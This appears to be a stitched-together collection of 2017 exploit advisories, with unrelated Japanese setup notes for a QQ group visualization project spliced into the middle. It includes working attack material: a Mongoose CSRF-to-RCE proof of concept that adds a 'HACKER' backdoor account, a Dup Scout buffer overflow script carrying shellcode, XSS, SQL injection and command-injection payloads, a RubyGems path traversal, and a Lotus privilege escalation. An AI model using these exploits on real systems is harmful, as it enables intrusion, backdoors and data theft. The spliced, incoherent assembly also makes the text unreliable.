2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin 200 5234 -
2017-07-24 03:12:30 - 127.0.0.1 - GET<?php exec("cmd.exe\t/c\tnet\tuser\tHACKER\tabc123\t/add");?> 400 0 -
2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin 200 5234 -
2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin?get_settings 200 4294967295 http://127.0.0.1:8080/__mg_admin
2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin?get_cfg_file_status 200 4294967295 http://127.0.0.1:8080/__mg_admin
2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /favicon.ico 404 0 -
Tested Windows 7.
Exploit/POC:
=============
1) add backdoor account POC.
<form action="http://127.0.0.1:8080/__mg_admin?save" method="post">
<input type="hidden" name="access_log_file" value="Mongoose.access.php">
<input type="hidden" name="cgi_pattern" value="**.cgi$|**.pl$|**.php">
<input type="hidden" name="index_files" value="Mongoose.access.php">
<input type="hidden" name="cgi_interpreter" value="c:\xampp\php\php.exe">
<script>document.forms[0].submit()</script>
</form>
2) TELNET x.x.x.x 8080
GET<?php exec("cmd.exe\t/c\tnet\tuser\tHACKER\tabc123\t/add");?> HTTP/1.1
Enter
Enter
TELNET x.x.x.x 8080
GET / HTTP/1.1
Enter
Enter
Done, backdoor added!
====================
1) run calc.exe POC.
<form action="http://127.0.0.1:8080/__mg_admin?save" method="post">
<input type="hidden" name="cgi_pattern" value="**.cgi$|**.pl$|**.exe">
<input type="hidden" name="index_files" value="../../../../../../Windows/system32/calc.exe">
<input type="hidden" name="cgi_interpreter" value="../../../../../../Windows/system32/calc.exe">
<script>document.forms[0].submit()</script>
</form>
2) TELNET x.x.x.x 8080
GET / HTTP/1.1
Enter
Enter
Network Access:
===============
Remote
Severity:
=========
Medium
Disclosure Timeline:
=================================
Vendor Notification: July 23, 2017
Vendor Notification: July 28, 2017
Vendor Acknowledgement: July 31, 2017
Vendor Fixed released version 6.9 : September 4, 2017
September 4, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
#!/usr/bin/python
###############################################################################
# Exploit Title : Dup Scout Enterprise v9.9.14 - 'Input Directory' Local
Buffer Overflow
# Date : 04 Sept, 2017
# Exploit Author : Touhid M.Shaikh - www.touhidshaikh.com
# Contact : https://github.com/touhidshaikh
# Vendor Homepage: http://www.dupscout.com/
# Version : v9.9.14
# Software Link :
https://www.exploit-db.com/apps/d83948ebf4c325eb8d56db6d8649d490-dupscoutent_setup_v9.9.14.exe
# Vuln Software : Dup Scout Enterprise v9.9.1 (Evaluation)
# Tested On : Window 7 (x86)
################################################################################
#========================================================================================================================#
# TO Reproduce Attack. |
#========================================================================================================================#
# To trigger the exploit, click "Search" -> second (+) sign -> "Add Input
Directory" and paste the content of Dup_Scout_buffer.txt
#
# Video PoC : https://www.youtube.com/watch?v=vnA0-HR7PCI
##########################################################################################################################
jmpebx = "\x15\x2c\x18\x65"
#badchars = "\x0a\x0d\x2f"
# msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe -e
x86/alpha_mixed BufferRegister=EAX -f python -b "\x0a\x0d\x2f"
buf = ""
buf += "\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
buf += "\x6b\x4c\x5a\x48\x4f\x72\x57\x70\x75\x50\x43\x30\x43"
buf += "\x50\x4b\x39\x4d\x35\x44\x71\x79\x50\x63\x54\x6e\x6b"
buf += "\x62\x70\x76\x50\x6e\x6b\x42\x72\x46\x6c\x6e\x6b\x63"
buf += "\x62\x62\x34\x6c\x4b\x43\x42\x76\x48\x36\x6f\x68\x37"
buf += "\x73\x7a\x46\x46\x74\x71\x49\x6f\x4e\x4c\x57\x4c\x55"
buf += "\x31\x51\x6c\x35\x52\x46\x4c\x51\x30\x6a\x61\x6a\x6f"
buf += "\x64\x4d\x67\x71\x6b\x77\x79\x72\x68\x72\x70\x52\x70"
buf += "\x57\x6c\x4b\x53\x62\x36\x70\x6c\x4b\x52\x6a\x67\x4c"
buf += "\x4c\x4b\x50\x4c\x62\x31\x42\x58\x79\x73\x32\x68\x37"
buf += "\x71\x4a\x71\x73\x61\x4e\x6b\x63\x69\x31\x30\x35\x51"
buf += "\x69\x43\x4c\x4b\x50\x49\x64\x58\x58\x63\x46\x5a\x32"
buf += "\x69\x6e\x6b\x36\x54\x4e\x6b\x57\x71\x38\x56\x65\x61"
buf += "\x49\x6f\x6e\x4c\x69\x51\x7a\x6f\x66\x6d\x46\x61\x69"
buf += "\x57\x70\x38\x39\x70\x33\x45\x39\x66\x35\x53\x31\x6d"
buf += "\x68\x78\x75\x6b\x73\x4d\x71\x34\x70\x75\x38\x64\x33"
buf += "\x68\x4e\x6b\x32\x78\x51\x34\x65\x51\x39\x43\x31\x76"
buf += "\x4c\x4b\x64\x4c\x32\x6b\x6e\x6b\x62\x78\x65\x4c\x47"
buf += "\x71\x59\x43\x4c\x4b\x44\x44\x4c\x4b\x56\x61\x38\x50"
buf += "\x6f\x79\x52\x64\x54\x64\x34\x64\x63\x6b\x73\x6b\x50"
buf += "\x61\x50\x59\x71\x4a\x56\x31\x59\x6f\x59\x70\x33\x6f"
buf += "\x53\x6f\x71\x4a\x4c\x4b\x44\x52\x68\x6b\x6e\x6d\x53"
buf += "\x6d\x62\x4a\x56\x61\x4c\x4d\x6b\x35\x6d\x62\x75\x50"
buf += "\x45\x50\x75\x50\x32\x70\x32\x48\x76\x51\x4e\x6b\x30"
buf += "\x6f\x6f\x77\x39\x6f\x4e\x35\x4d\x6b\x58\x70\x4d\x65"
buf += "\x4e\x42\x53\x66\x62\x48\x6d\x76\x4a\x35\x6d\x6d\x4d"
buf += "\x4d\x69\x6f\x79\x45\x57\x4c\x46\x66\x53\x4c\x56\x6a"
buf += "\x6f\x70\x49\x6b\x6d\x30\x33\x45\x33\x35\x4d\x6b\x50"
buf += "\x47\x37\x63\x74\x32\x52\x4f\x53\x5a\x43\x30\x53\x63"
buf += "\x49\x6f\x38\x55\x52\x43\x63\x51\x50\x6c\x65\x33\x54"
buf += "\x6e\x62\x45\x54\x38\x62\x45\x55\x50\x41\x41"
mixed = (
"\x53" # push EBX
"\x58" # pop EAX
"\x05\x55\x55\x55\x55" # add EAX, 0x55555555
"\x05\x55\x55\x55\x55" # add EAX, 0x55555555
"\x05\x56\x56\x55\x55" # add EAX, 0x55555656
)
junk = "\x53\x5b" * 119 + "\x53"
data = "A"*4096 + jmpebx + "C"*16 + jmpebx + "C"*(5296 - 4096 - 4 - 16 - 4)
+ mixed + junk + buf
a = open("Dup_Scout_buffer.txt", "w")
a.write(data)
a.close()
#Greetz : @Pulkit
# Exploit Title: CSRF
# Date: August 9, 2017
# Software Link: https://www.symantec.com/products/messaging-gateway
# Exploit Author: Dhiraj Mishra
# Contact: http://twitter.com/mishradhiraj_
# Website: http://datarift.blogspot.in/
# CVE: CVE-2017-6328
# Category: Symantec Messaging Gateway
1. Description
The Symantec Messaging Gateway can encounter an issue of cross site request forgery (also known as one-click attack and is abbreviated as CSRF or XSRF), which is a type of malicious exploit of a website where unauthorized commands are transmitted from a user that the web application trusts. A CSRF attack attempts to exploit the trust that a specific website has in a user's browser.
2. Proof of concept
The SMG did not protect the logout form with csrf token, therefore i can logout any user by sending this url https://YourIPHere/brightmail/logout.do
Here's an attack vector:
1) Set up a honeypot that detects SMG scans/attacks (somehow).
2) Once I get a probe, fire back a logout request.
3) Continue to logout the active user forever.
It's less damaging than a traditional "hack back" but is sure to irritate the local red team to no end. It's essentially a user DoS.
3. Symantec Security Bulletin
https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20170810_00
There is no check for name field in metadata.gz. By assigning a maliciously crafted string like ../../../../../any/where to the field, an attacker can create an arbitrary file out of the directory of the gem, or even replace an existing file with a malicious file.
Proof of Concept 1: Create a file anywhere
This PoC attempts to create a file /tmp/malicious-0/BOOOOM.
1) Download the attached file malicious.gem.
2) Run gem install malicious.gem --no-doc.
3) /tmp/malicious-0/BOOOOM should be created.
malicious.gem assigns ../../../../../../../../../../tmp/malicious as name field. This attack is relatively weak since the path must include a directory named <name>-<version>, such as malicious-0. Still, there are many chances that cause a catastrophe. For example, think of replacing a file in /etc/dbus-1/.
Proof of Concept 2: Replace rackup command
This PoC attempts to replace gems/rack-2.0.3/bin/rackup with a malicious file.
1) Download the attached file replace-rackup.gem.
2) Run gem install rack -v 2.0.3.
3) Run gem install replace-rackup.gem --no-doc.
4) Run rackup. It will emit just BOOOOM!.
replace-rackup.gem assigns ../gems/rack as name field, and contains a malicious file bin/rackup. This is really exploitable for attackers.
Note
For how to create the malicious gems, see the attached file src.tar.gz.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42611.zip
Document Title:
===============
Wibu Systems AG CodeMeter 6.50 - Persistent XSS Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2074
ID: FB49498
Acknowledgements: https://www.flickr.com/photos/vulnerabilitylab/36912680045/
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-13754
CVE-ID:
=======
CVE-2017-13754
Release Date:
=============
2017-09-04
Vulnerability Laboratory ID (VL-ID):
====================================
2074
Common Vulnerability Scoring System:
====================================
3.5
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
CodeMeter is the universal technology for software publishers and intelligent device manufacturers, upon which all
solutions from Wibu-Systems are built. You want to protect the software you have developed against piracy and
reverse engineering. CodeMeter requires your attention only once: its integration in your software and your business
workflow is necessary at one point in time only. Protection Suite is the tool that automatically encrypts your
applications and libraries. In addition, CodeMeter offers an API for custom integration with your software.
(Copy of the Homepage: http://www.wibu.com/us/codemeter.html )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent input validation vulnerability in the official
Wibu Systems CodeMeter WebAdmin v6.50 application.
Vulnerability Disclosure Timeline:
==================================
2017-05-20: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2017-05-21: Vendor Notification (Wibu Systems AG - Security Department)
2017-05-22: Vendor Response/Feedback (Wibu Systems AG - Security Department)
2017-08-01: Vendor Fix/Patch (Wibu Systems AG - Service Developer Team)
2017-08-20: Security Acknowledgements (Wibu Systems AG - Security Department)
2017-09-04: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Wibu-Systems AG
Product: CodeMeter & Control Panel - WebAdmin (Web-Application) 6.50.2624.500
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A persistent input validation vulnerability has been discovered in the Wibu Systems AG CodeMeter WebAdmin v6.50 web-server web-application.
The vulnerability allows remote attackers to inject own malicious script code with application-side vector to the vulnerable function or
module to followup with a compromising attack.
The input validation vulnerability has been discovered in the `server name` input field of the `advanced settings - time server` module.
The request method to inject is POST and the attack vector is located on the application-side. First the attacker injects the payload and
after it the POST request is performed to save the content permanently. After that the issue triggers on each visit an execution. The basic
validation in the application is well setup but in case of the advanced settings the validation parameter are still not implemented to secure
the function at all. The vulnerability is a classic filter input validation vulnerability. The application has no cookies and therefore the
attack risk is more minor but not that less then to ignore it. The vulnerable files are `ChangeConfiguration.html`, `time_server_list.html`
and `certified_time.html`. The `ChangeConfiguration.html` is marked as injection point for the payload. The `time_server_list.html` and
`certified_time.html` files are mared with the execution point of the issue.
The security issue was uncovered during the blurrybox hacking contest of the wibu systems ag and acknowledged by the management.
The security risk of the persistent input validation issue is estimated as medium with a cvss (common vulnerability scoring system) count of 3.5.
Exploitation of the persistent input validation web vulnerability requires low user interaction and a privileged web-application user account.
Successful exploitation of the vulnerability results in persistent phishing attacks, persistent external redirects to malicious sources and
persistent manipulation of affected or connected application modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Advanced Settings - Time Server
Vulnerable File(s):
[+] ChangeConfiguration.html
Vulnerable Parameter(s):
[+] server name
Affected Module(s):
[+] time_server_list.html
[+] certified_time.html
Proof of Concept (PoC):
=======================
The persistent input validation vulnerability can be exploited by remote attackers with privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Start the CodeMeter software
2. Open the webadmin gui
3. Move to advanced settings
4. Open the time-server module
5. Click the plus to add a new time server
Note: The request method is POST
6. Inject a test script code payload with matching domain and save via POST
7. The code is saved and executes of the dbms in the time-server list module index
8. Successful reproduce of the vulnerability!
Note: The method can be automated by usage of post method requester to include a payload.
PoC: Payload (Exploitation)
cmtime.codehacker.de/>"<img src="evil.source" onload=alert("GUTENMORGEN")>
cmtime.codehacker.de/>"<iframe src="evil.source" onload=alert("GUTENMORGEN")>
PoC: Vulnerable Source
<div id="time_server_to_add"><input id="TimeServerId1" name="time_server_list_list" value="cmtime.codemeter.com"
type="radio"><label class="time_server_list_list_label" for="TimeServerId1"><span class="ct100_t bld ssl_number_space">1.
</span>cmtime.codemeter.com<span class="ssl_up" onclick="onClickSSLUp(this);" style="visibility: hidden;"><span class="fa
fa-arrow-up fa-list-buttons"></span></span><span class="ssl_down" onclick="onClickSSLDown(this);"><span class="fa fa-arrow-down
fa-list-buttons"></span></span><span class="ssl_delete" onclick="onClickDelete(this);"><span class="fa fa-trash-o fa-list-buttons">
</span></span></label><input id="TimeServerId3" name="time_server_list_list" value="cmtime.codemeter.de" type="radio">
<label class="time_server_list_list_label" for="TimeServerId3"><span class="ct100_t bld ssl_number_space">2. </span>cmtime.codemeter.de
<span class="ssl_up" onclick="onClickSSLUp(this);"><span class="fa fa-arrow-up fa-list-buttons"></span></span><span class="ssl_down"
onclick="onClickSSLDown(this);"><span class="fa fa-arrow-down fa-list-buttons"></span></span><span class="ssl_delete"
onclick="onClickDelete(this);"><span class="fa fa-trash-o fa-list-buttons"></span></span></label><input id="TimeServerId4"
name="time_server_list_list" value="cmtime.codemeter.us" type="radio"><label class="time_server_list_list_label" for="TimeServerId4">
<span class="ct100_t bld ssl_number_space">3. </span>cmtime.codemeter.us<span class="ssl_up" onclick="onClickSSLUp(this);">
<span class="fa fa-arrow-up fa-list-buttons"></span></span><span class="ssl_down" onclick="onClickSSLDown(this);" style="visibility:
visible;"><span class="fa fa-arrow-down fa-list-buttons"></span></span><span class="ssl_delete" onclick="onClickDelete(this);">
<span class="fa fa-trash-o fa-list-buttons"></span></span></label><input id="cmtime.codehacker.de/>" <img="" src="evil.source">"
type="radio" name="time_server_list_list" value="cmtime.codehacker.de/>"<img src="evil.source">"/><label class="time_server_list_list_label"
for="cmtime.codehacker.de/>" <img="" src="evil.source">"><span id="ssl_number_cmtime.codehacker.de/>" <img="" src="evil.source">"[EXECUTABLE PAYLOAD!]
class="ct100_t bld ssl_number_space"></span>cmtime.codehacker.de/>"<img src="evil.source"><span class="ssl_up"
onclick="onClickSSLUp(this);"><span class="fa fa-arrow-up fa-list-buttons"></span></span><span class="ssl_down"
onclick="onClickSSLDown(this);" style="visibility: hidden;"><span class="fa fa-arrow-down fa-list-buttons"></span></span>
<span class="ssl_delete" onclick="onClickDelete(this);"><span class="fa fa-trash-o fa-list-buttons"></span></span></label></div>
--- PoC Session Logs (GET) ---
Status: 200[OK]
POST http://localhost:22350/actions/ChangeConfiguration.html
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[1544]
Mime Type[text/html]
Request Header:
Host[localhost:22350]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Content-Type[application/x-www-form-urlencoded]
Content-Length[255]
Referer[http://localhost:22350/configuration/certified_time.html]
Cookie[com.wibu.cm.webadmin.lang=de-DE]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
POST-Daten:
Action[CertifiedTimeConfiguration]
TimeServerList[cmtime.codemeter.com%7Ccmtime.codemeter.de%7Ccmtime.codemeter.us%7Ccmtime.codehacker.de/>"<img src="evil.source" onload=alert("GUTENMORGEN")>%7C]
SoapTimeOut[20]
certified_time_time_out[20]
ApplyButton[Apply]
WaFormGuard[v0V839tW3xkpa6jC26kYsvZJxe0UFJCl4%2FB2ipA6Xpwv]
Response Header:
Server[WIBU-SYSTEMS HTTP Server]
Date[21 May 2017 16:00:21 +0000]
Content-Type[text/html; charset=utf-8]
X-Frame-Options[SAMEORIGIN]
x-xss-protection[1; mode=block]
Accept-Ranges[bytes]
Content-Length[1544]
-
Status: 200[OK]
GET http://localhost:22350/configuration/iframe/evil.source[PAYLOAD EXECUTION]
Load Flags[LOAD_NORMAL] Größe des Inhalts[2320] Mime Type[text/html]
Request Header:
Host[localhost:22350]
User-Agent[zero-zero]
Accept[*/*]
Referer[http://localhost:22350/configuration/iframe/time_server_list.html]
Cookie[com.wibu.cm.webadmin.lang=de-DE]
Connection[keep-alive]
Response Header:
Server[WIBU-SYSTEMS HTTP Server]
Date[19 May 2017 21:02:23 +0000]
Connection[close]
Content-Type[text/html; charset=utf-8]
X-Frame-Options[SAMEORIGIN]
x-xss-protection[1; mode=block]
Accept-Ranges[bytes]
Content-Length[2320]
-
Status: 200[OK]
GET http://localhost:22350/configuration/iframe/evil.source
Mime Type[text/html]
Request Header:
Host[localhost:22350]
User-Agent[zero-zero]
Accept[*/*]
Referer[http://localhost:22350/configuration/iframe/time_server_list.html]
Cookie[com.wibu.cm.webadmin.lang=de-DE]
Connection[keep-alive]
Response Header:
Server[WIBU-SYSTEMS HTTP Server]
Date[19 May 2017 21:06:56 +0000]
Connection[close]
Content-Type[text/html; charset=utf-8]
X-Frame-Options[SAMEORIGIN]
x-xss-protection[1; mode=block]
X-Content-Type-Options[nosniff]
Accept-Ranges[bytes]
Content-Length[2320]
Reference(s):
http://localhost:22350/
http://localhost:22350/configuration/
http://localhost:22350/configuration/ChangeConfiguration.html
http://localhost:22350/configuration/certified_time.html
http://localhost:22350/configuration/time_server_list.html
Solution - Fix & Patch:
=======================
1. Restrict the input field and disallow the usage of special chars like in the other input fields
2. Parse the input field and escape the content
3. Parse in the visible listing the output location of the item
4. Setup a secure exception-handling to handl illegal events
5. Include a proper validation mask to the form to prevent further injection attacks
The security vulnerability has been patched in the version 6.50b.
Security Risk:
==============
The seurity risk of the persistent input validation web vulnerability in the web-server webadmin web-application is estimated as medium (CVSS 3.5).
Earlier version releases up to codemeter 6.50 may be affected as well by the cross site scripting web vulnerability.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails,
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.
Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.
Copyright © 2017 | Vulnerability Laboratory - [Evolution Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
# Exploit Title: WIFI Repeater BE126 – Remote Code Execution
# Date Publish: 09/09/2017
# Exploit Authors: Hay Mizrachi, Omer Kaspi
# Contact: haymizrachi@gmail.com, komerk0@gmail.com
# Vendor Homepage: http://www.twsz.com
# Category: Webapps
# Version: 1.0
# Tested on: Windows/Ubuntu 16.04
# CVE: CVE-2017-13713
1 - Description:
HTTP POST request that contains user parmater which can give us to run
Remote Code Execution to the device.
The parameter is not sanitized at all, which cause him to be vulnerable.
2 - Proof of Concept:
curl -d "name=HTTP&url="http://www.test.com&user=;echo hacked!! >
/var/mycode;&password=a&port=8&dir=a"
--cookie "Cookie: sessionsid=XXXXX; auth=ok expires=Sun, 15-May-2112
01:45:46 GMT; langmanulset=yes;
sys_UserName=admin; expires=Mon, 31-Jan-2112 16:00:00 GMT; language=en_us"
-X POST http://beconnected.client/cgi-bin/webupg
3 - Timeline:
29/4/2017 – Vulnerability Discovered.
29/4/2017 - Vendor not responding.
03/09/2017 – Exploit published.
# # # # #
# Exploit Title: Joomla! Component CheckList 1.1.0 - SQL Injection
# Dork: N/A
# Date: 03.09.2017
# Vendor Homepage: http://joomplace.com/
# Software Link: https://extensions.joomla.org/extensions/extension/living/personal-life/checklist/
# Demo: http://checklistdemo.joomplace.com/
# Version: 1.1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# http://localhost/[PATH]/[PROFILE][SQL].html
# http://localhost/[PATH]/[TAG][SQL].html
# http://localhost/[PATH]/[CHECKLIST][SQL].html
#
# our-products/checklist/checklist/tag/social'and+(SeLeCT+1+FrOM+(SeLeCT+count(*),COncaT((SeLeCT(SeLeCT+COncaT(cast(database()+as+char),0x7e))+FrOM+information_schema.tables+where+table_schema=database()+limit+0,1),floor(rand(0)*2))x+FrOM+information_schema.tables+group+by+x)a)+AND+''='.html
#
# Etc..
# # # # #
# # # # #
# Exploit Title: Joomla! Component Survey Force Deluxe 3.2.4 - SQL Injection
# Dork: N/A
# Date: 03.09.2017
# Vendor Homepage: http://joomplace.com/
# Software Link: https://extensions.joomla.org/extensions/extension/contacts-and-feedback/surveys/survey-force-deluxe/
# Demo: http://demo30.joomplace.com/our-products/survey-force-deluxe
# Version: 3.2.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# http://localhost/[PATH]/index.php?option=com_surveyforce&task=start_invited&survey=19&invite=[SQL]
#
# Etc..
# # # # #
# Exploit Title: Lotus Notes Diagnostic Tool (nsd.exe) Privelege Escalation
# Date: 02-09-2017
# Exploit Author: ParagonSec
# Website: https://github.com/paragonsec
# Version: 8.5 & 9.0
# Tested on: Windows 7 Enterprise
# CVE: CVE-2015-0179
# Vendor CVE URL: http://www-01.ibm.com/support/docview.wss?uid=swg21700029
# Category: Local & Privilege Escalation Exploit
1. Description
Lotus Notes Diagnostic Tool (nsd.exe) runs under NT Authority/System rights.
This can be leveraged to run a program under the System context and elevate
local privileges.
2. Proof of Concept
First you need to execute nsd.exe under the monitor/CLI mode:
> nsd.exe -monitor
Next, after NSD finishes loading you can execute any program under the System context. In this example we will execute CMD.
nsd> LOAD CMD
You will see that cmd is opened as System now.
Also, NSD can be used to attach, kill processes or create memory dumps under the System context.
3. Solution:
This has been fixed on release 9.0.1 FP3 and 8.5.3 FP6.
1。データベースを構成します（300GB以上の残りのディスクスペースが必要です）
SQLSERVER2008R2をダウンロードしてインストールし、ユーザー名とログインパスワードを構成します。データベースにリモートで接続されている場合は、リモートログインを許可するようにデータベースを構成する必要があります（SQLServer Database構成、自分でチュートリアルを検索してください）。ダウンロードされた圧縮パッケージを解凍し、データベースバックアップファイルを取得し、データベースバックアップファイルをSQLServerに復元します（SQLServer Recovery Database Recovery操作、自分でチュートリアルを検索してください。 webpack-dev-server1。グローバルインストールWebpack
NPMインストールwebpack -g
2。 Webpack-dev-serverをグローバルにインストールします
npm Webpack-dev-server -G 
:010101。プロジェクトソースコードをダウンロード：3https://github.com/backlion/qqgroup-visualization2。 Project Directory 
3を入力します。 db.jsonファイルを開き、データベース接続情報を独自のデータベース接続情報に変更します（デフォルトのデータベース接続情報は自分のサーバーのデータベースであり、利用可能になることは保証されていません）db.jsonの例：{{{
'Server':'サーバーアドレス '、
「データベース」: 'データベース名'、
'user':'ユーザー名を入力してください '、
'password ':'データベースユーザーパスワードを入力してください '
}
2。サーバーを構築します（nodejsを必要とするオペレーティングシステム、CPU 1コアの上に残っているメモリ1GB以上）
1。プロジェクトディレクトリ
2を入力します。インストール依存関係
NPMインストール
3。ランニングシステム
npm run start 
注：sqlserverのバージョン以降のsqlserver2008r2を使用してください
QQ番号フィールドとグループ番号フィールドにインデックスを追加するだけで、クエリ速度を最適化します
# Exploit Title: PHP-SecureArea <= v2.7 - SQL Injection
# Date: 30-08-2017
# Exploit Author: Cryo
# Contact: https://twitter.com/KernelEquinox
# Vendor Homepage: https://www.withinweb.com
# Software Link: https://www.withinweb.com/phpsecurearea/
# Version: 2.7 and below
# Tested on: Windows, Linux, Mac OS X
1. Description
==============
PHP-SecureArea is vulnerable to SQL injection due to lack of input sanitization in the misc.php file.
2. Proof of Concept
===================
POST /phpsecurearea/ipn/process.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
item_number=-1' UNION ALL SELECT 1-- -